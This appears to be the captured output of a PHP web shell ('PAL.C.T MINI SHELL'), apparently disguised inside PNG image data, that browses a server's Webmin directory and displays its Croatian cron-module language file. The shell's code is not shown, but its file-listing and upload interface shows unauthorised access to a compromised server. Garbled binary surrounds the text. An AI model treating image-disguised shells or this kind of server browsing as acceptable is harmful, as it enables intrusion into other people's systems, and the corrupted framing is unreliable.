php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/cron/lang/
upload
files >> //usr/libexec/webmin/cron/lang/hr

index_title=Lista Cronova
index_user=Korisnik
index_active=Aktiviraj?
index_command=Naredba
index_when=Pokreni sve teme
index_comment=Opis
index_none=Nema cronova u Vašem sustavu.
index_none2=Nema cronova kojima imate pristup.
index_none3=Još uvijek nemate cronove.
index_create=Kreiraj novu lista crona.
index_ecreate=Kreiraj novu varijablu okruženja.
index_allow=Kontroliraj korisnički pristup cronu.
index_return=lista cronova
index_env=Varijabla okruženja
index_move=Pomakni
index_run=Pokrenuto?
index_ecmd=Naredba $1 za upravljanje korisničkih Cron postavki nije Pronađena. Moguće da Cron nije instaliran na Vašem sustavu?
index_esingle=Dokument $1 koji izlistava Cron ne postoji. Moguće da Cron niije instaliran na Vašem sustavu?
index_delete=Izbriši Odabrane Cronove
index_disable=Onemogući Odabrane Cronove
index_enable=Omogući Odabrane Cronove

edit_title=Uredi Cron
create_title=Kreiraj Cron
edit_ecannot=Nije Vam dozvoljeno uređivati cron za ovog korisnika
edit_details=Detalji
edit_user=Izvrši cron
edit_active=Aktivan?
edit_commands=Naredbe
edit_command=Naredba
edit_comment=Opis
edit_input=Ulaz u naredbu
edit_when=Kada izvršiti
edit_range=Raspon datuma za izvršavanje
edit_mins=Minute
edit_hours=Sati
edit_days=Dani
edit_months=Mjeseci
edit_weekdays=Vikendom
edit_all=Svi
edit_selected=Odabrano ..
edit_run=Pokreni Sada
edit_clone=Kopija
edit_return=cron
edit_ctrl=Napomena: Ctrl-click (ili naredba-klik na Mac) za odabir ili poništenje odabira minuta, sati, dana i mjeseci.
edit_special1=Jednostavna lista ..
edit_special0=Vrijeme i datumi odabrani iznad ..
edit_special_hourly=Po satima
edit_special_daily=Dnevno (u ponoć)
edit_special_weekly=Tjedno (nedjeljom)
edit_special_monthly=Mjesečno (svakog prvog u mjesecu)
edit_special_yearly=Godišnje (prvog siječnja)
edit_special_reboot=Kada se podiže sustav
lcedit_special_hourly=po satima
lcedit_special_daily=dnevno (u ponoć)
lcedit_special_weekly=tjedno (nedjeljom)
lcedit_special_monthly=Mjesečno (svakog prvog u mjesecu)
lcedit_special_yearly=godidišnje (prvoj siječnja)
lcedit_special_reboot=kada se sustav podigne

save_err=Neuspjelo spremanje crona
save_ecmd=Niste unijeli naredbu za koju treba izvršiti
save_euser=Morate odabrati korisnika
save_euser2=Korisnik '$1' ne postoji
save_eallow=Korisniku '$1' nije dopušteno pokretanje crona 
save_ecannot=Nije Vam dopušteno kreiranje i uređivanje crona za '$1'
save_enone=Niste odabrali ni jedan $1 koji se treba izvršiti 
save_ecannot2=Nije Vam dopušteno kreiranje cronova

allow_title=Kontroliraj Cron Pristup
allow_desc=Ova forma dopušta Vam da kontrolirate koji korisnici mogu kreirati i pokrenuti cron.
allow_ecannot=Ne možete kontrolirati pristup korisnika cronu
allow_all1=negiraj sve korisnike
allow_all2=Negiraj sve korisničke prihvaćene izvore
allow_all3=Dopusi sve korisnike
allow_allow=Dopusti samo izlistane korisnike
allow_deny=Negiraj samo izlistane korisnike

env_title1=Uredi Varijable Okruženja
env_title2=Kreiraj Varijablu Okruženja
env_name=Naziv varijable
env_value=Vrijednost
env_user=Za korisnike
env_active=Aktivirati?
env_details=Detalji varijable okruženja
env_err=Neuspjelo spremanje varijable okruženja
env_ename=Nedostaje ili je neispravan naziv varijable
env_order=Napomena - Ove postavke varijable okruženja biti će dodane Cronu na listu koja se nalazi na glavnoj stranici modula.
env_where=Dodaj varijablu okruženaj
env_where2=Ukloni varijabliu okruženja
env_top=Prije svih Cronova za korisnike
env_bot=Nakon Crona
env_leave=Trenutni položaj

exec_title=Izvrši Cron
exec_ecannot=Nije Vam dopušteno izvršavati cron za ovog korisnika
exec_cmd=Izlaz naredbe $1 ..
exec_cmdbg=Izvršavam sve naredbe $1 kao proces u pozadini.
exec_none=Nije garantiran izlaz

acl_users=Ne možete urediti Cron za
acl_all=Svi korisnici
acl_this=Trenutni Webmin korisnik
acl_only=Samo korisnici
acl_except=Svi prihvaćene korisnici?
acl_control=NE možete kontrolirati pristup korisnika Cronu?
acl_command=Ne možete vidjeti i uređivati Cron naredbe?
acl_uid=Korisnici s UID u domenu
acl_gid=Korisnici s primarnom grupom
acl_create=Ne možete krerati Cron?
acl_delete=Ne možete izbrisati Cron?
acl_move=Ne možtete premjestiti Cron?
acl_kill=Ne možete prekinuti Cron?

log_modify=Promijeni Cron za $1
log_modify_l=Promijeni Cron "$2" kao $1
log_create=Kreiraj Cron za $1
log_create_l=Kreiraj Cron "$2" za $1
log_delete=Izbriši Cron za $1
log_exec=Izvrši Cron za $1
log_exec_l=Izvrši Cron "$2" kao $1
log_kill=Prekini Cron za $1
log_kill_l=Prekini Cron "$2" kao $1
log_allow=Promijeni korisnički pristup Cronu
log_env_create=Kreirana varijabla okruženja za $1
log_env_modify=Promijenjena varijabla okruženja za $1
log_env_delete=Izbrisana varijabla okruženja za $1
log_move=Premješteni Cronovi zs $1
log_crons_delete=Izbriši $1 Cron
log_crons_disable=Onemogući $1 Cron
log_crons_enable=Omogući $1 Cron

ecopy=Pronađena je pogreška u novim Cron postavkama : $1 $2

when_min=svake minute
when_hour=svaki sat u $1 nakon sata¸
when_day=svaki dan u $2:$1
when_month=na dan $3 svakog mjeseca u $2:$1
when_weekday=svakog $3 u $2:$1
when_cron=u cron vrijeme $1

ucwhen_min=Svake minute
ucwhen_hour=Svaki sat u $1 nakon sata
ucwhen_day=Svaki dan u $2:$1
ucwhen_month=Dana $3 svakog mjeseca u $2:$1
ucwhen_weekday=Svakog $3 u $2:$1
ucwhen_cron=u cron vrijeme $1

move_err=Neuspjelo premještanje Crona
move_etype=Ovaj cron ne može biti pomaknut

kill_err=Neuspjelo prekidanje Crona
kill_ecannot=Nije Vam dopušteno prekinuti ovaj cron
kill_egone=Više se ne izvršava
kill_ekill=Uništi propalo : $1
kill_title=Prekini Cron
kill_rusure=Jeste li sigurni da želite prekinuti proces $1 sa PID $2?
kill_rusure2=Jeste li sigurni da želite prekinuti proces $1 sa PID $2 i svim njegovim podprocesima?
kill_ok=Da, Prelini Ga

range_all=Pokreni na bilo koji datum
range_start=Pokreni samo iz $1
range_end=u $1
range_estart=Nedostaje ili je neispravnan datum početka u dometu za pokretanje
range_eend=Nedostaje ili je neispravan datum kraja u dometu za pokretanje

delete_err=Neuspjelo kreiranje Crona
delete_enone=Ništa nije odabrano
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`